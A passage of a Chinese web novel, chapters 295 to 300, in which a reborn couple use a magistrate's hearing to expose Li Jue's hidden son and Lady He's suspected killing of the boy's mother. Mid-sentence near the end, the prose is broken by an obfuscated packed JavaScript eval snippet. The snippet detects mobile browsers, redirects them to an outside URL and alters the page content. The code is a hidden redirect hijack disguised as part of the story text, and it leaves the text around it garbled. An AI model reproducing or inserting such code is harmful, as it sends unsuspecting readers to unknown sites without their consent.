夏明嫣看着张礼岁露出勉为其难地表情,还抹了把额前的头发: “华家人向来刚直,宁折不屈,可是张大人,我才嫁到华家多久,我骨子里可还是夏家人。您担心我二妹妹闹,您怎么就不担心我也会闹呢?” “我可是她的长姐,她一个好好地在元京长大的大家闺秀尚且那么能闹,我一个在卢阳旧都长大的难不成还不如她了?” “我夫君要是抬了舍弟去宫门口,那我只能跟着去了。别的做不了,这一路上,我哭上一哭,把这些事儿都说一说,应该也是有人听的。” “要是我声音小,路上的人听不清楚也没什么。前些日子我在东市听了一场书,说的是李世子如何与我夫君义结金兰,我觉得甚是有趣,就结交了几位说书匠。我声音小,笨嘴拙舌地说不清楚,还有他们帮我说!” 连说书的都准备好了?张礼岁大惊,他现在都开始好奇夏家到底是怎么教养女儿的了,这还真是一个比一个能闹。 华靖离差点没忍住笑喷出来,他暗暗地看了夏明嫣一样,夏明嫣给了他一个眼神,好像在说这样的小泼妇你还肯要么? 她今日要是真这么做了,全元京的人都得以为他娶了一头胭脂虎啊。 张礼岁气得都要上不来气了,他原想着这几方里,华家别看地位最高,可却是最为克制、讲理的,况且他们家在朝廷上的地位至少眼下是不容撼动的,应该也不会在乎多一个孩子给他们的声誉带来的冲击。 因此要是华家能把这件事揽下来是最省事儿的,他这边也好交待了,以后再想法子还这个人情就罢了。 谁知道这一家子竟然肯为一个行事不羁还没什么作为的庶子出头,而这庶子竟然也不是好惹的,那般一个玉面郎君,容貌、仪态仅比李玦略逊一筹,平日里只是不像李玦那般好宣扬,所以名声才不显。 没想到也是个这么能闹腾的,这还只是一个华靖和,他看得出来,华靖和本性并非如此,他这是真的被逼急了,也是想在兄嫂面前证明自己。 要是换成李玦来闹,他都不敢想象会是一派怎样的景象,还不得把他这元京府拆了啊。 可是张礼岁没有办法,让端侯府到这儿闹和让华家到宫门口闹比,两相其害取其轻,还是让端侯府来闹吧。 毕竟就算李玦能闹腾、会装可怜和无辜,何夫人到底年纪大了,她一个老妇再能闹也一定没有夏明嫣和华靖和加起来能闹。 张礼岁不得不妥协,真正地跟他们商量着来,他擦了把额头上的汗,不大确定地道: “华侯,夫人,先让二公子起来吧?下官看清楚了,也想相信,那孩子与二公子无关。可是光是人证,这也说不准那孩子就一定是李世子的。” 华靖离冷笑一下:“人证都有了,还要什么?怎么人证都能证明是他的了,到了我阿弟这儿,连个确切的人证都没有,反倒能说是他的了?” “不是,不是,我不是那个意思。我是说,世人更愿意相信那孩子是谁的,这种事本就难以证明。” 张礼岁说的不无道理,现在的确没有能一定确定孩子与父母关系的法子。 华靖和的事儿已经传出去了,好些人都先入为主地认定了,孩子就是他的,失去了先机,再想解释就难了。 夏明嫣笑了笑:“大人要是不知道,可以派人去端侯府附近打听打听去,不,不用去那么远,去外面打听打听就知道了。” “现在的风向早就变了,传舍弟是孩子生父的那些话已经没人提了,昨晚开始大家议论的就是这孩子是李世子的,那些话还是从李氏亲族那边传出来的。都是一家人,他们还能乱传自家世子的不是了?” “今早是有些人传那孩子是我夫君的,可都是在传这二人后头,大人正好抓住这个机会查清此事。” 秋果昨天去见夏明月,把夏明月的活儿煽乎起来只是其中一步,她们就是让端侯府周围聚集的李氏亲族知道这个消息,好议论起来,通过他们的嘴,把这些话传出去。 这些人最近看出李玦袭爵有望,各个人的心思就都活络了起来,都想看看能不能跟着李玦奔一个新前程。 可这里面有几个问题,老端侯真正亲近的那些亲族和人手早在那场“海难”中就折损了,留下的这些当初就算不得亲近。 这些年,何夫人不能动那些宝物,只能靠着端侯府明面上残存的家底度日,虽说她是精明的人,可是巧妇难为无米之炊,这点家底能维持端侯府内的事儿就不错了,跟这些亲族已经没有太多往来了。不过是过年的时候,一起到祠堂上拜一拜。 就是那些住在后头的老仆,因着进府当差不仅要多开销一份银钱,还要防止人多口杂把府内的事儿传到外头去,这些人大多数早就已经不进府了。 这些年何夫人跟他们约定的是,他们愿意走的,就把屋子留下,按市价交了赎身的银子,便可换了良籍自己过日子去。 要是不想走的,还想住这屋子的,那便留下。府里要是有差事派给他们,就另外给银子,若是没有,他们就自谋出路去,在外头找活儿干,或是自己做些小买卖。 只要不为非作歹、坏了端侯府的名声,都由着他们,端侯府不过问。只是这样的话,屋子、院子给他们白用着,他们的身契就还得在侯府,以备他日有不时之需。 所以就是这些世仆,跟府里的关系也不似从前紧密了,他们跟那些旁支的亲族一样,跟府里的关系都不仅不似以前那般亲近,也缺了管束,只是不至于为非作歹、惹上官非罢了。 这就导致了,这些个人现在的心态很复杂,他们一方面抱怨这些年府里没怎么照管他们,一方面又担心李玦发迹了之后不理会他们。 听到这样的消息,他们哪有不议论的? 第295章得说是你查出来的 本来就是跟府里没多大关系的人了,都想着这事儿要是传开了,显得他们多了解府里的事儿似的。 他们身上已经多年没有规矩、体统的管束了,传这些话并不觉得这有什么,反而以为这样传一传就能证明他们跟府里是走动着的,能抬高他们的地位。 再有,他们也觉得,要是这事儿闹起来了,何夫人生起李玦的气来,他们这些族中长辈和老仆说不定能帮着说和说和,能让李玦承他们的情呢。 这样以来,有了他们这些嘴,很快李玦成亲前就在外面有了孩子的事儿就传开了。 当然,楚氏当晚也让人去毁华靖离的名声了,可是她不仅晚了一步,她的人手也不够多。 再说了,她派去的人再多,那些人对于华靖离来说也是陌生人,哪有从李氏亲族口中亲自说出的李玦的事儿来得让人信服? 华靖离更是补充了一个事实:“张大人实在不用在这件事上在乎我的名声,吕大姑娘有孕那段时日我的确不在北疆,可我也并不在元京。” “张大人若是不信,不如去南大营的弓弩队问问,我那段时间奉了圣上旨意,在那里督造弓弩,至少有几十人能够证明,这不是他们想诋毁就能诋毁得了的。” 这就是说如果但看传言,能被“诋毁”的只有李玦,他最不可能拿出证据! 谁让李玦这么高调呢?那段时间他在不在城里、有没有去过哪里都是有人证的,要是只以传言论,他是最难洗脱的。 夏明嫣笑看了张礼岁一眼,也不折腾这位大人了,开口把最重要的证据告诉了他: “我们也不想为难张大人,这儿还有两份证据能证明那孩子就是李世子的。刚才没有告诉大人,实在是因为这件事与其说是我们夫妻派人查出来的,倒不如说是张大人派了元京府的人手查出来的,需要大人您安排。” “下官愿闻其详!”张礼岁迫切地道。 要是一开始他们就这么说,张礼岁是不会答应的,这两家之间明显早有矛盾,人家把这件事抬到他们元京府来,不是人家自己解决不了,而是放在他这儿办起来更名正言顺。 这件事解决下来,钩翊侯府就可以名正言顺地跟端侯府决裂了,有了他这个元京府尹做判官,这中间便谈不上华靖离以势压人,更加谈不上华靖离辜负了李玦的兄弟情义。 没看夏明嫣那边连说书匠都准备好了么?这是打算之后就在舆论上再扳回一局呢。 李玦不是到处说他跟华靖离有多好么?弄得好像华靖离不帮他一把、不把他提携到北疆去分一杯羹,华靖离就冷漠无情得不是人了似的么? 等到今日这事儿一过,那就变成了李玦要把自己的孩子栽赃到华靖离身上,品德如此卑劣,又怎配做华靖离的义弟?他们刚好割袍断义。 他堂堂元京府就是他们做这场大戏的戏台子,而他张礼岁也一样是他们利用的工具,或者说他是划开李玦和华靖离看似紧密关系的一把刀。 往日里可怜等待义兄垂怜的人是李玦,而今日之后,可怜、可叹的人就会是华靖离,所有人都会同情他被自己的义弟耍弄,甚至会觉得他并没有那么可怕,削减他在朝野当中功高震主的既有印象。 这步棋下得妙,可张礼岁原本并不想成为当中的棋子,现在却不得不应承下来了。 因为华靖离和华靖和能够洗脱出去已成必然,刚刚说的那些人证和事情已经很有力量了,这就说明夏明嫣接下来要交给他的证据只会更为有力。 若是他不答应,他们夫妇大可以把这些证据公诸于众,或者真像他们说的那样捅到宫里去,到时候他可就完了。 圣上只会问他,为何华侯夫妇没有把证据交给他,是他不肯接、不肯看,还是有什么别的原因,他就真的没法解释了。 因此他现在不仅必须接下这些证据,还必须按照夏明嫣说的做,说这些证据本来就是元京府他们查出来的。 而对于华靖离和夏明嫣来说,这样做也能显得这些证据更公正些,不是他们私下里撺掇着伪造出来的。 而且也能麻痹李玦,不然他们都知道那么多事儿了,李玦就会去想,他们是不是还知道端侯府更多的事儿,从而引起他的怀疑和忌惮。 上辈子李玦布了那么久的局,这辈子也该轮到他们隐藏自己布局来拆穿他了。 夏明嫣指了指门外,远处的廊子里站着一个道姑打扮的人,身边有一个也做此打扮的孩子,只是这孩子看起来只有两三岁,也做女装,看起来像个小姑娘。 廊子在门口,跟公堂中间隔着一个院子,那边听不到这边的人在说什么,这边的人看那边也看不清楚,只能看出个大概的情状。 “那是?”张礼岁没往吕家那孩子身上想,因为吕家的孩子分明是个男娃娃。 夏明嫣便道:“这不就是张大人这几日一直在寻找的不知所踪的吕家孩童么?他是男儿,只是因着年纪小,长相娟秀,做了女儿家打扮罢了。” “说起这样貌,真真是有乃父之风啊,大人不信,一会儿传来看看便知道了。当然,单看样貌,说明不了什么,可是这孩子是何夫人寄养在城外女官密室之中的。” “当日送来之时,为了不让观主怠慢了这孩子,何夫人特意送上了自己的名帖,之后更是亲自去探望过。探望时还有其他女道在场,何夫人叫那孩子‘好孙儿’。” “何夫人已然认了那孩子了,这可是祖母认了小孙子了,哪里做得了假?当中女观都愿意作证,那都是出身好的在观中修行的人,断断不会都冤枉了她去。” “更何况,还有她的名帖为证,还有她留下的银钱和衣物,那些银票究竟是从哪儿兑出来的,衣料是哪儿来的,还有针线是谁家的手艺,张大人一查便知。” “当然,何夫人也可以说这孩子是捡来的,只是跟她投缘,所以她认下了那孩子做孙儿,所以寄养在了观了。关于这一点,我们也有法子说清楚。” 第296章请大人为民女做主 夏明嫣让外面的人把太医院医正出具的文书交给张礼岁,里面赫然写着李玦和老端侯右脚小脚趾与常人有异的情况,说明这是一种家族特征,而且据他多年所见,这样的人很少见,不容易出现巧合。 张礼岁手都在抖:“夫人,您二位连这个都知道?” 毕竟是男子身上的私隐,华靖离轻咳了一下,清了清嗓子道:“老端侯是行伍中人,当年与他共同去过南疆海上的人自然有知道的。李世子之前科考验身,记录上也写下了这一点,大人查查便知道了。” “要是大人觉得还不够可信,可再寻些李氏宗族的人验看就是了,绝对不会有错。这事儿还是我告诉内子的,内子通些医术,告诉她也是为了确认一下这当中的真伪。” 能这么说华靖离也是真打听过的,之前听夏明嫣说起之后,他就散了些人手出去。现在元京开了一些澡堂子,专门供男子沐浴、休闲使用,一个人也花不了多少钱,大伙儿聚在一块儿还能说说话、吃些点心,因前往光顾者众多。 李氏宗族那么多男子,有许多都是里面的常客,身上有什么特征,一打听就出来。果然,每一个右脚的小脚趾的指甲盖都是不完整的,像是被烫化了又凝结了一样。 老端侯当年打的是海战,上了船之后,不管是谁,都有光脚或穿草鞋的时候,身边有人早就留意过,知道缘由之后,还说这是贵人之兆。 李玦的也不难查,他有举人功名,是可以被朝廷授官的。这时候的律法和风俗有个讲究,就是身上有大的残疾的和寓意不祥的胎记的不能做官,因此他科考时的验身结果早就记录在了相关名录上,只要一查就能查出来。 夏明嫣指了一下太医正出具的文书:“那孩子就在外面,大人可立刻派人验看,若是属实,大人还是快点把人传来吧。” 张礼岁让人验看之后再没有推辞之意,这些个事儿要是嚷嚷出去,朝廷该说他偏私,偏着端侯府了。 也怪李玦运气不好,偏偏身上有这么一个记号,这能怪谁? 而且张礼岁见过李玦许多回了,他一看那孩子就觉得跟李玦很像,尽管无关上有些地方跟吕大姑娘像,可整个人看起来还是像李玦。 这孩子从小被吕家藏在家里,虽然周围的邻里都知道他的存在,可他年纪小,又是这样额出身,自然是很少见人的,这会儿上了公堂整个就人畏畏缩缩的,吓得连句话都不说了。 反倒是华景和在边儿上斗着他玩儿了起来,这会儿吕冠瑛也被请了上来,让他们姨甥两个团聚。 正好这孩子到底给自己的小姨亲近些,反而由着吕冠瑛引导着说出了些这些天在他身上发生过的事儿。 原来这孩子还不知道自己的亲娘已经没了,只以为是重病着了,家里人都忙乱着,没人有工夫照管他,就把他送到了城外的亲戚那里借住一段日子。 谁知道有一天他在村子里玩儿,一个老妇人找到了他,先是“不小心”将一盆净面用的水泼到了他的脚上,然后借口要赔他一双新的鞋袜,就当场给他洗脚换上了。 之后他想要回亲戚家里去,却被这老妇人强行抱上了一辆马车,这里面坐着另一个妇人,穿着甚是华贵,还对他特别好,给他吃各种点心和好吃的,再后来他就在马车睡着了。 等他醒来就已经在道观里了,他哭闹着要回去,后头来的贵妇人便说是他的亲祖母,接他在观里住几日,为他生母祈福。他虽然不懂什么,可有观里的小道姑带着他玩儿,还教他认字,他便留下了。 这孩子还小,道袍宽宽大大的穿在这么小的人儿身上也不分男女,他都不太能反应过来自己怎么就被打扮成小姑娘家了,还认认真真地在观里给自己的亲娘祈福呢。 众人一听,谁还能不明白,这贵妇人就是端侯府的何夫人! 这要不是吕冠瑛搭上了夏明嫣,之后华家派了人去寻访了把人给找出来,就凭着吕家还真找不到这孩子。最后这孩子很可能就被何夫人藏匿起来,也不知道要藏多久。 要是何夫人好好地上门去说,吕家这孩子能认祖归宗,吕家人不会有不欢喜的,就算认了并不接回去养,他们也乐得让何夫人和李玦隔三差五地见见孩子。 可是这般偷偷摸摸的,完全就不是正经相认的样子,吕冠瑛哪里还能心存幻想: “还请张大人做主,民女的外甥被人拐骗至观中藏匿,这要不是华侯夫人帮忙找寻,日后还不知她要如何对待这孩子。” “大人您想想,民女的姐姐刚刚过世,这孩子才送出去几天就丢了,这说明老端侯夫人之前就知道了孩子的存在,还知道这些日子吕家发生了什么,那么民女姐姐的死是不是跟她也有关系?” “吕家只是商贾之家,且不是皇商和城中有名的大商贾,家姐新丧时动静并不大,她若不是早早知道了这一切,如何能把时机把握得如此之准。” “还请大人详查,看看民女阿姐的死是不是也与她有关。若真是如此,民女管她是什么贵胄家的夫人,民女定要为阿姐讨个公道。” 孩子在观里是邓澜说的,并不是华家这边查出来的,不过邓澜的用处在后面,这时候还不能让何夫人知道邓澜把她给卖了。 不过吕冠瑛这番话说得恰到好处,何夫人定然提前就知道了一切,可是被她这么一说,何夫人到底是在吕大姑娘死之前就知道了,还是之后才知道的,就不好说了。 就这么听着,怎么听都像是何夫人害死了吕大姑娘,而且这里还有一个嫌疑,她是不是很早以前就知道了这对儿母子的存在,可就是拖着未做处置。 说不准是等着李玦成了亲了,跟夏明月这个儿媳妇处得不愉快,才打起了这孩子的主意。 第297章以小兽诱母兽 这样以来,何夫人不仅背上了害人性命以夺子的嫌疑,她和李玦还有多年来对这对母女不闻不问,现在有用处了,就害了人家亲娘将人夺过来的嫌疑。 要说元京这些高门里的男子,外头有这种事儿的其实不算少,可人家要么就认回去,哪怕给生母抬个贱妾呢,要么就干脆不认,或是养在外面定期给银钱养着母子几个过活。 谁家要是前头不认,看着人家受苦,后头有需要了又认回去,到了哪里这都是要被耻笑的! 尤其是吕大姑娘情况特殊,商贾虽说在士农工商里地位最低,可也是正经的良户,她本是好人家的女儿,是被拐子拐了去猜沦落了的,后来也被认了回去,重新做了良籍。 这种女子生下的孩子,一般通情达理的人家都不会完全当作贱籍女子生下的孩子看待,要是不知道也就罢了,知道了定是要安抚一番的。 可是端侯府这两个人,李玦可能都不知道有这么个孩子,何夫人是知道,却非但不安抚吕家,还很有可能做出了这种事儿! 张礼岁之前还想着这是件麻烦事儿,可是如今看来,华靖离两口子是打定主意今日就要把端侯府这层伪善的外皮给揭下来了。 这攻势可是够猛的,不止要说他们诬陷义兄的亲弟,还要说他们试图把孩子推到义兄家去,这里面还可能害了吕大姑娘一条命。 而且你要说何夫人只是要把孩子抢了去,也说不过去,因为她在观里说的孩子的生母病重,要留这孩子在观里祈福,这摆明了就是说她清楚吕家这些日子发生了什么。 这要是说吕大姑娘的死跟她没关系,那可就没人信了……张礼岁已经着人去请那仵作来说新从吕大姑娘体内找出的牛毛毒针了,这要是再验出来跟端侯府有关,那可就厉害了。 张礼岁沉声吩咐心腹衙役:“我记得何夫人尚有二品诰命在身,她若知道了这儿的情况,要是称病不来,她一个妇道人家,我们反倒不知该拿她怎么办了。” “你们先不要透露公堂上的这些事儿,只想法子先把她诳到这里来,再行理论。” 这防的就是何夫人撒泼耍赖,直接晕过去装作情绪激动不省人事的样子,毕竟还是二品诰命夫人,张礼岁总不好让人把她抬了来。 夏明嫣刚想说她有办法,就听吕冠瑛咬牙切齿地说道:“都说母兽最护小兽,可它们护的只是自己生出来的小兽。老端侯夫人既然如此想要一个出身不明的孙儿,那必是也护着儿子的。” “她若不肯来,这位差役大哥就说要让她儿子好看。她生的好儿子,害苦了民女阿姐一生,这事儿要是跟她没有关系,那就是与他儿子有关了!” 这就像猎人要拿小兽去套母兽是一个道理,何夫人最舍不下的除了端侯府复兴的雄图大业,那便是她这个儿子李玦了。 其实这件事明眼人都看得出来,李玦很有可能不知情,因为他要是真想找个地方把自己的儿子看起来,以吕大姑娘对他的痴迷程度来看,他完全可以跟她好好说,把孩子哄了去,再让吕大姑娘回吕家的老家去,以后不要再出现在元京就是了,根本不会把事情闹到这一步。 会想到要了吕大姑娘的命再将孩子带走的,这当中是带着对吕大姑娘的恨的。 以何夫人这种寡母守业、独力养大独子的精力,李玦就像他的眼珠子一样,别说是吕大姑娘这般有过不堪经历的女子,就是李玦那些各有出身的妻妾跟他多亲近些,她都恨得牙痒痒。 上辈子她就折腾着李玦的妻妾因为各种原因不能跟李玦同房,甚至李玦都三十岁了,他的里衣都还是何夫人做的! 谁家这么大的男子还让母亲做里衣?这要么是他妻妾的责任,要么就是下人和针线房的事儿,哪里还有脸让母亲做,还是只让母亲做。 何夫人恐怕一想到吕大姑娘在她不知情的情况下生下了李玦的孩子,就觉得吕大姑娘玷污了李玦和端侯府的名声呢。这个女人在她看来就是李玦身上的污点啊,怎能留她活在世上。 就连这孩子,也别说何夫人有多喜欢,她只是防着将来夏明月有了孩子,带着孩子一起跟她唱对台戏,这才将这孩子扣下,以便日后不时之需的。 要不然大恒这么大,外头各个州的书院那么多,她完全可以将这孩子托人送的远些,就找个书院养着,说是李氏族亲里的子弟就是了,那些族亲还能跋山涉水地去知道自家多了个子弟不成? 她将孩子养在观里,也是希望里面那些个修行的事儿能够净化这孩子身上的污秽,她本质上就是觉得这孩子脏! 这还真不是夏明嫣牵强附会,而是上辈子她是在何夫人和邓澜都过世之后才知道这孩子的存在的,那孩子在观里根本就不是什么暂住,分明就在那里养了十几年。 那观里认真修行的,没空理会他,那些不是认真修行的,都是到里面逃避婚事的,玩儿的花样多,哪里就能教他什么好的? 这孩子倒是也没学坏,可不知道受过什么刺激,夏明嫣见到他时只觉得这孩子浑浑噩噩的甚至有些痴傻的样子,这也是她为何耽误到她自己被害死了也没把孩子的事儿告诉李玦的原因。 李玦这人最怕的就是自己身上有污点,那时候他都要封端王了,正是风光的时候,要是多了这么一个痴傻的儿子,他并不会高兴,反而会恨不得让他永远消失。 夏明嫣也是为了保住这孩子的性命,才没有把这件事说出去的,其实这想法也跟吕冠瑛说的异曲同工了……总之就是这母子俩都会视这件事为污点。 吕冠瑛并没有途径了解何夫人的为人,却能做出这样的判断,也是个资质不差的。 夏明嫣看向华靖离,她忽然有了一个想法,要是能把吕冠瑛弄到自己身边,帮着管一摊子事儿,是不是也挺好? 第297章缘分啊 吕冠瑛这性子,是个做管事儿的料,而且她将来还要照管着她的外甥,这压力可不小。 吕家那摊子生意着实算不得大,日后端侯府不管会不会把这孩子认回去养,她得照顾着,那她需要的财力和靠山可不小。 端侯府这一次会狠狠地受挫,却不会就此灰飞烟灭,单凭吕冠瑛一个人定是不行的,可要是她肯来华家做管事儿,至少端侯府的人不敢让她像她阿姐那样随便消失。 夏明嫣看向华靖离,就是想征求一下他的意见,却发现他看着吕冠瑛的眼神儿有些奇怪。 夏明嫣愣了一下,惊讶之余连忙压低了声音:“你给不会想要告诉我,你喜欢这样的吧?难怪你不喜欢邓姑娘那样的,你喜欢她这样的,你还想纳了她不成?” “也不是不行,就是她的身份对于你来说更复杂些,这事儿不太好办。但你要是执意想要她,我姑且试试……” 这时候公堂上一会儿是吕冠瑛搂着她的小外甥哭,一会儿又是华靖和哄孩子玩儿,一会儿还有张礼岁吩咐身边人做事的声音,吵吵嚷嚷的,也没人能听清楚他们在说小话。 华靖离眼神诡异地看了夏明嫣一眼,低声淡笑道:“你别把我想的跟个什么似的,多看哪个女子两眼就要纳回去了。何况你说的对,华家跟她的关系是够复杂的。” “复杂?我没查出来吕家跟华家有什么关系啊。”夏明嫣惊讶地道。 华靖离讳莫如深地道:“这辈子还没有,上辈子却有。你看她跟靖和,是不是还有点夫妻相?” “她跟你二弟?”夏明嫣愣住了,难不成这俩人上辈子是一对儿。 华靖和此刻拿了自己身上的荷包在逗那孩子,看起来还真挺像一家三口的,这样的猜想简直太让人震惊了! 不过也不对啊,上辈子这孩子一直养在观里,吕冠瑛没找到自己的外甥,应该是伤透了心了,怎么就嫁给华靖和了? 而且华靖和的亲事虽不如华靖离的隆重,妻子也不必像华靖离这样一定要在高门里选,可怎么选也不该选到吕家这样的小商贾头上。 她原以为华靖和将来至少要娶一个出身书香门第的女子,毕竟上辈子华靖离一直没有孩子,那么华靖和的孩子将来可是要继承华家的,孩子的生母怎么也不会是个这般出身的孤觉女子。 没错,吕冠瑛的问题不止是出身低,关键是她父母亡故,姐姐死于非命,外甥还不知所踪,这样的人在谈婚论嫁时是要被忌讳的,要想嫁给华靖和为妻,那实在是太难了。 华靖离压低了声音解释道:“她是靖和的妾室之一,后头我在北疆,并不太清楚府里的事儿,可是有一年回去过年,见过她两面。” “你还不知道,那时候卜小娘在府里闹得也厉害,靖和就靠着她扛着卜小娘那头呢。还有母亲那边,夏明月进了家庙也不消停,她给我纳的那几个妾室也不大得用,她反而跟这个吕二姑娘走得近。” “靖和的正妻进门没多久就过世了,后来一直没有续弦,她在府里大概就和靖和的正妻一般无二,母亲也是把她当小儿媳妇看待的。” “不过那时候一直没找到这孩子,还以为是被人拐了去卖到北边儿去了,她还托了靖和再托付给我,让我帮忙在北边儿找找呢。” “后面一直没有找到,她也只能认命了。再后来就不知道了,按理说我走了之后,在华家败落之前,靖和是继承过一段时间的家业的。就算没将她扶正,也来不及续弦,她八成与续弦无二了。” 说罢他还挑了下眉,意思就是,厉害吧,这人两辈子都是个厉害的人。 大恒也有妾室掌家的先例,何况当时华家是那么一个情况,这吕冠瑛竟然很可能是掌管过华家中馈的人,也是不简单了。 不过,要说是华靖和的妾室那倒是合理了,没想到吕冠瑛竟然两辈子都跟他们有缘,不过这也更说明了何夫人的可恨! 何夫人上辈子也一样害了吕大姑娘,自然也是关注这吕冠瑛的,吕冠瑛能一直活着,定是与嫁给了华靖和、进了华家的门有关。 妾室轻易不出门,这样以来,何夫人就是想灭她的口,也灭不着了。可是何夫人一直就知道自己孙子的姨母在华家,可就这么冷眼看着,是一点也不担心这中间闹出什么事儿来。 多亏了何夫人后面死得早,要是她在多活几年,活到吕冠瑛掌家,说不定她真干得出把那孩子抬出来,再借此搭上吕冠瑛,要挟吕冠瑛多为自己的亲外甥想想,好在华家里应外合帮她成事的恶事。 被他这么一说,夏明嫣反而犹豫着要不要认这个人了,看华靖和跟那孩子玩儿得这么好,这辈子华靖和有了华靖离的支持,定是不会像上辈子那般被卜小娘掌控了。 况且这次的事若是成了,吕冠瑛可就相当于给华家立了一功了,要是华叶峰肯点头,说不定她还真就做了华靖和的正配了。 要是这样的话,她倒是不好让吕冠瑛来做她的管事儿了。她还是挺欣赏吕冠瑛的,没道理坏了她的好前程。 夏明嫣并不担心吕冠瑛要是嫁过来会跟她争华家的中馈,她也并不在乎这些,她之后还要忙那些寨子的事,华靖离已经跟宫里说蛊医的事儿了,虽然没明着说,可也透出了那层意思出去。 要是这事儿成了,几摊子事儿等着她忙呢,另外还有南疆那边的大事儿,还有端侯府藏在海里的那些宝贝没拿出来……总之一大堆事儿等着她忙呢。 钩翊侯府的中馈要是能交给吕冠瑛来管,何尝不是一件好事儿,而且她跟华靖离重生一世,首要的就是要让自己和阖家上下转危为安的,他们真不在乎将来分一半家业给华靖和,反而担心华靖和这孩子太过高风亮节,反而什么都不要了。 华靖和要是不要这家业,看着是他们得到的多了,可是人就这么一个身子、一个脑袋、一张嘴,再大的家业,他们吃的用的也还是那么些。 第299章她那个恨呐! 要是华靖和能独当一面,再娶一个能帮得上忙的妻子,夏明嫣是乐见其成的。 不过既然这辈子这孩子找到了,吕冠瑛跟端侯府的牵绊也就更深了,之后跟华靖和在一起反而会有更多的麻烦。 毕竟要是他们真在一起了,华靖和能不因为这个孩子跟李玦打交道吗?对着这么一个随时能跟自己媲美的人,李玦能对他有多少善意? 而且李玦能不拿孩子要挟吕冠瑛,然后让她成为钩翊侯府里的眼线么?不要说什么华家对吕冠瑛有恩,再大的恩情也比不上亲姐姐唯一的孩子重要。 况且这孩子还是吕冠瑛在娘家唯一的血亲了,从前她便觉得欠了自己姐姐的,将来还得觉得欠唯一的外甥的。不要考验人性,到时候单凭一个华靖和能扛得住李玦的算计? 华靖和只是比从前好了,将来只会更好,可并不是说他一下子就能变成华靖离或是李玦这样的人了。 夏明嫣当下便定了主意不会去撮合他们,等着看他们之后会怎样再说,而这时堂上也吵出个结果来了,因为何夫人、李玦和夏明月都被请过来了。 据前去叫人的差役来报,何夫人一开始的确不想来,可是经过他们的提醒,这事儿要是何夫人自己不来,那脏水就得泼李玦身上,何夫人还是决定来了。 而且这时候也由不得她了,因为夏明月非得让她来。夏明月本就不喜欢这个婆母,这时候知道她可能影响到李玦,就算她真病了、瘫了,也会把她抬过来。 现在这件事的性质已经变了,若只是李玦成婚前在外面跟不干不净的女子有了个孩子,虽然名声不好听,可到底是私德有亏。何夫人可是让这事儿担上人命上的干系了,这就不一样了。 夏明月已经问过李玦身边的人了,就在吕大姑娘出事儿的前一天,李玦的确去过吕家铺子附近,说是去看一位诗友。那段时间他曾经撇开过身边的下人,中间不知道发生了什么,但是再回来时明显脸色不大好。 别管夏明月这个人怎么样,从小到大她的心思有一半都铺在李玦身上,对李玦这个人还是了解的,那下人这么一说,她就什么都明白了。 这两个人当时肯定认出了彼此,只是这吕大姑娘并没有打算纠缠李玦,甚至连有了孩子的事儿都没说,大概就是叙了叙旧。 谁知道李玦这儿只是怅然了一场,吕大姑娘那儿也没什么,就算夏明月知道了,她也最多生一场闷气然后让人砸了吕家的铺子。 偏偏这事儿就被何夫人注意到了,一查之下,好家伙,这里面居然有一个孩子。何夫人就此动了杀心了,想着处理了吕大姑娘,之后再趁着吕家乱了,让人把那孩子偷出来,就可以至此扣在手里。 至于吕家人,本来就只剩下吕冠瑛一个了,又是不知情的,为了避免动静太大,就先姑且留着。要是她以后查到了些什么,再料理了不迟…… 夏明月已经基本猜到了全部的真相,她哪里还能容得何夫人在那儿摆婆母的架子。就算这回不能把何夫人法办了,她也要让何夫人在府里再也抬不起头来! 前一日,夏明月得到消息之后又跟夏庸和楚氏商量了一番,本来想找了华家商量去,谁知道华家不仅大门紧闭,昨晚连后边的角门都关着,不管谁叫都不开。 这是没法子了,只能等着元京府这边传召。 这一点还是夏明月的认知要清醒一点,李玦还觉得华靖离会顾惜他的颜面,不会把这事儿闹到公堂上的,最多之后私下解决。 可夏明月不一样,从某种程度上来说,她其实比李玦更了解华靖离和夏明嫣。 华靖离么,从来就不是一个顾惜颜面的人,要不然上辈子能把她在家庙关了十几年?一个新婚的侯夫人被关在家庙那么久,但凡不傻的都能看出来这定是犯了大错了。 一开始董氏是犹豫着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15673310|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要不要把他送到家庙去的,顾忌的就是华靖离的名声和外头会不会因此流言四起,本来华靖离就长年不在元京,那他的妻子能犯什么会被关进家庙的大错呢? 无外乎就有两种可能了,一种是不孝公婆,而且闹得很严重,这一点有没有,从他们府上的下人那儿打听打听就知道了。 夏明月那时候当然闹得很严重,可她除了把董氏闹得弄了六个小娘来跟她打擂台,倒也没干出什么特别大逆不道的事儿。 要说嫉妒,只要没有到伤害子嗣的地步,其实也不至于,妻妾之间的争斗谁家没有,只要不是过分到离谱的地步,一般都会被忽略掉,人们也会装作看不见,充其量多点茶余饭后的笑料罢了。。 那么就只剩下一种可能了,那就是这新婚的侯夫人不老实、红杏出墙了……因此董氏和华叶峰都很纠结,想着这事儿不能这么办,要不还是在府里把人看起来吧,然后就给华靖离去了书信。 谁知道华靖离一纸书信回来,废话都没有说一句,只有六个字——送家庙,促和离! 那时候夏明月也觉得自己脑子不好使,华家看在夏家和朝廷的颜面上,明明要多给她一份嫁妆,让她和离归家改嫁的,偏偏她会以为华家用不了多久就会为了颜面把她接回来,还因为李玦那时也过得水深火热的,没办法休妻之后娶她为正妻,她竟然没有答应。 早知道会那样,她就和离归家去,就算在夏家住着不好看,她也可以找个女观“清修”去。 呵,那孩子之前也被何夫人藏在女观,好多元京的贵女“清修”都在那里,她要是去了说不定还能提前发现这孩子,直接掐死他,省得他将来活着等她改嫁李玦之后在他们中间下蛆。 至于夏明嫣,上辈子夏明嫣只是被夏庸和楚氏控制了很多年,可这并不意味着她没本事或是是个窝囊的,她要是没本事,也不能帮着端侯府盘活了家业。 第300章他认了,她不认 昨日夏明嫣就已经说她左右不了华家的意见了,这就是说她不仅帮不上忙,还可能反过来帮着华家,不像原来那般好控制了。 那么夏明嫣是无论如何都会把何夫人“请”上公堂的,何夫人不来,她定然不肯罢休。 